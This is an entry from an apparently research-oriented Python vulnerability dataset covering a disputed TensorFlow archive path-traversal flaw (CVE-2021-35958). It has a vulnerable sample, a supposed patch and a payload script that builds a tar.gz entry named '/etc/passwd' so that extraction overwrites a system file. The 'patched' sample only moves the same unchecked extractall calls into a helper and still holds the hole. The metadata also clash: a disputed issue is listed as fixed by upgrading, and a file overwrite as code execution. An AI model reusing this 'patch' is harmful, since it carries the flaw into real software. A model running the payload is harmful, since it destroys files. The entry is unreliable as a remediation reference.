CVE-2021-35958
File overwrite in TensorFlow 2.5.0 via tf.keras.utils.get_file (extract=True), not for untrusted archives
- CVSS 9.1
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Input Validation and Sanitization
- Local
** DISPUTED ** TensorFlow through 2.5.0 allows attackers to overwrite arbitrary files via a crafted archive when tf.keras.utils.get_file is used with extract=True. NOTE: the vendor's position is that tf.keras.utils.get_file is not intended for untrusted archives.
- CVSS base score
- 9.1
- Published
- 2021-06-30
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Function
- Code defect classification
- Incorrect Functionality
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- TensorFlow
- Fixed by upgrading
- Yes
Solution
Update TensorFlow to version 2.5.1 or higher.
Vulnerable code sample
import os
import tarfile
import zipfile
from urllib.request import urlretrieve
def get_file(url, cache_dir='.', extract=False):
filename = os.path.join(cache_dir, os.path.basename(url))
urlretrieve(url, filename)
if extract:
if filename.endswith('.tar.gz') or filename.endswith('.tgz'):
with tarfile.open(filename, 'r:gz') as tar:
tar.extractall(path=cache_dir)
elif filename.endswith('.zip'):
with zipfile.ZipFile(filename, 'r') as zip_ref:
zip_ref.extractall(path=cache_dir)
return filenamePatched code sample
import os
import tarfile
import zipfile
from urllib.request import urlretrieve
def get_file(url, cache_dir='.', extract=False):
filename = os.path.join(cache_dir, os.path.basename(url))
urlretrieve(url, filename)
if extract:
extractfunction(filename, cache_dir)
return filename
def extractfunction(file_path, extract_to='.'):
if file_path.endswith('.tar.gz') or file_path.endswith('.tgz'):
with tarfile.open(file_path, 'r:gz') as tar:
tar.extractall(path=extract_to)
elif file_path.endswith('.zip'):
with zipfile.ZipFile(file_path, 'r') as zip_ref:
zip_ref.extractall(path=extract_to)Payload
import tarfile
import io
# Create an in-memory tar archive with a malicious file path.
buffer = io.BytesIO()
with tarfile.open(fileobj=buffer, mode="w:gz") as tar:
# Create a TarInfo object with a file name that escapes the target directory.
malicious_filename = "/etc/passwd"
content = b"This is a malicious payload"
info = tarfile.TarInfo(name=malicious_filename)
info.size = len(content)
tar.addfile(tarinfo=info, fileobj=io.BytesIO(content))
# Write the malicious tar archive to disk
with open("malicious.tar.gz", "wb") as f:
f.write(buffer.getvalue())
Cite this entry
@misc{vaitp:cve202135958,
title = {{File overwrite in TensorFlow 2.5.0 via tf.keras.utils.get_file (extract=True), not for untrusted archives}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2021},
note = {VAITP Python Vulnerability Dataset, entry CVE-2021-35958},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2021-35958/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
